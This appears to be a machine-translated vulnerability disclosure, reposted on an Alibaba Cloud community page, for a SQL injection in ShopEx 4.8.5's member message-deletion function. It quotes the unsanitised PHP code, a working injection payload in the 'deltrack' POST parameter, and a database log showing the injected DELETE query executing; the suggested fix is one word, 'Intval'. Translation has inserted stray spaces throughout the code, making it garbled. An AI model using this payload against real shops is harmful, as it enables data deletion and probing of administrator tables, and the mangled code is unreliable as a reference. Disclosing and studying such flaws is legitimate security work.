Shopex injection vulnerability #2

Source: Internet
Author: User

And SQL injection vulnerability test version: shopex-singel-4.8.5.78660 file: \ core \ shop \ controller \ ctl. member. php

Function delTrackMsg () {if (! Empty ($ _ POST ['deltrack']) {$ oMsg = & $ this-> system-> loadModel ('resources/msgbox '); $ oMsg-> delTrackMsg ($ _ POST ['deltrack']); $ this-> splash ('success ', $ this-> system-> mkUrl ("member ", "track"), _ ('deleted successfully');} else {$ this-> splash ('failed ', $ this-> system-> mkUrl ("member", "track"), _ ('deletion failed: no record selected! '));}}

 

Follow up with $ oMsg-> delTrackMsg ($ _ POST ['deltrack']); in the file: \ core \ model_v5 \ resources \ mdl. msgbox. php
public function delTrackMsg( $aMsgId ){       foreach ( $aMsgId as $val )       {if ( $val ){$aTmp[] = $val;}}if ( $aTmp ){$this->db->exec( "DELETE FROM sdb_message WHERE msg_id IN (".implode( ",", $aTmp ).") AND del_status='1'" );$this->db->exec( "UPDATE sdb_message SET del_status='2' WHERE msg_id IN (".implode( ",", $aTmp ).")" );}return true;}

 

The SQL injection that appears in the DELETE statement is purely physical. Check whether the message is deleted and submit the data packet. deltrack [1] = 1) and (select count (*) from sdb_operators) = 1% 23 view SQL Execution records:
130526 20:31:25   360 Connect root@localhost on  360 Init DB shopex 360 Query SET NAMES 'utf8' 360 Query SELECT * FROM sdb_plugins WHERE plugin_type="app" 360 Query select * from sdb_plugins where plugin_type="app" and plugin_ident='commodity_radar' LIMIT 0, 1 360 Query select * from sdb_plugins where plugin_type="app" and plugin_ident='shopex_stat' LIMIT 0, 1 360 Query select member_id,member_lv_id,email,uname,b_year,b_month,b_day,password,unreadmsg,cur,lang,point,experience from sdb_members where member_id=4 LIMIT 0, 1 360 Query SELECT count(*) AS unreadmsg FROM sdb_message WHERE to_type = 0 AND del_status != '1' AND folder = 'inbox' AND unread = '0' AND to_id =4 LIMIT 0, 1 360 Query SELECT plugin_name,plugin_ident FROM sdb_plugins WHERE 1 AND sdb_plugins.disabled = 'false' AND sdb_plugins.plugin_type='app' LIMIT 0, 20 360 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='commodity_radar' LIMIT 0, 1 360 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='shopex_stat' LIMIT 0, 1 360 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='pay_offline' LIMIT 0, 1 360 Query DELETE FROM sdb_message WHERE msg_id IN (1) and (select count(*) from sdb_operators)=1#) AND del_status='1'

 

Execution successful vulnerability proof: Because (select count (*) from sdb_operators) = 1, The msg_id = 1 record is deleted. Let's guess...
  Solution:

Intval

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.